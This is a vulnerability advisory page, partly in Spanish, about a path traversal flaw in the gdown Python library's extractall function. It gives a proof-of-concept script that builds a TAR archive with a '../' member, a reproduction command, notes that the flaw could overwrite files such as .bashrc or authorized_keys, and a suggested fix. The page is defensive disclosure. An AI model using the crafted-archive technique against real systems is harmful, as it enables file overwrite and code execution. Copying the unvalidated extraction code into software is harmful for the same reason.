Media

gdown Affected by Arbitrary File Write via Path Traversal in gdown.extractall

  • Publicada: 14.04.2026
  • Actualizado: 11.10.2026 15:17

Summary

The gdown library (tested on v5.2.1) is vulnerable to a Path Traversal attack within its extractall functionality. When extracting a maliciously crafted ZIP or TAR archive, the library fails to sanitize or validate the filenames of the archive members. This allow files to be written outside the intended destination directory, potentially leading to arbitrary file overwrite and Remote Code Execution (RCE).

Details

The vulnerability exists in gdown/extractall.py within the extractall() function. The function takes an archive path and a destination directory (to), then calls the underlying extractall() method of Python's tarfile or zipfile modules without validating whether the archive members stay within the to boundary.

Vulnerable Code:

python
# gdown/extractall.py
def extractall(path, to=None):
    # ... (omitted) ...
    with opener(path, mode) as f:
        f.extractall(path=to)  # Vulnerable: No path validation or filters`

Even on modern Python versions (3.12+), if the filter parameter is not explicitly set or if the library's wrapper logic bypasses modern protections, path traversal remains possible as demonstrated in the PoC.

PoC

Steps to Reproduce

  1. Create the Malicious Archive (poc.py):
python
import tarfile
import io
import os

# Create a target directory
os.makedirs("./safe_target/subfolder", exist_ok=True)

# Generate a TAR file containing a member with path traversal
with tarfile.open("evil.tar", "w") as tar:
    # Target: escape the subfolder and write to the parent 'safe_target'
    payload = tarfile.TarInfo(name="../escape.txt")
    content = b"Path Traversal Success!"
    payload.size = len(content)
    tar.addfile(payload, io.BytesIO(content))

print("[+] evil.tar created.")`
  1. Execute the Vulnerable Function:
`python3 -c "from gdown import extractall; extractall('evil.tar', to='./safe_target/subfolder')"`
  1. Verify the Escape:
bash
ls -l ./safe_target/escape.txt
# Output: -rw-r--r-- 1 user user 23 Mar 15 2026 ./safe_target/escape.txt`

Impact

An attacker can provide a specially crafted archive that, when extracted via gdown, overwrites critical files on the victim's system.

  • Arbitrary File Overwrite: Overwriting .bashrc, .ssh/authorized_keys, or configuration files.
  • Remote Code Execution (RCE): By overwriting executable scripts or Python modules within a virtual environment.

Recommended Mitigation

mplement path validation to ensure that all extracted files are contained within the target directory.

Suggested Fix:

python
import os

def is_within_directory(directory, target):
    abs_directory = os.path.abspath(directory)
    abs_target = os.path.abspath(target)
    prefix = os.path.commonpath([abs_directory])
    return os.path.commonpath([abs_directory, abs_target]) == prefix

# Inside [extractall.py](http://extractall.py/)
with opener(path, mode) as f:
    if isinstance(f, tarfile.TarFile):
        for member in f.getmembers():
            member_path = os.path.join(to, [member.name](http://member.name/))
            if not is_within_directory(to, member_path):
                raise Exception("Attempted Path Traversal in Tar File")
    f.extractall(path=to)

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Python (PyPI) gdown < 5.2.2 5.2.2

Referencias

Puntuación CVSS 6.5/10
Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
Debilidad (CWE)
CWE-22
Plataforma
Python (PyPI)
Paquete
gdown
Publicada
14.04.2026
Actualizado
11.10.2026 15:17

Fuentes y licencias

OSV / GitHub Advisory Database - PYSEC-2026-2158 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-76hw-p97h-883f - CC BY 4.0

Historial de vulnerabilidades: gdown

Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Esta es la única vulnerabilidad conocida de este paquete.

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.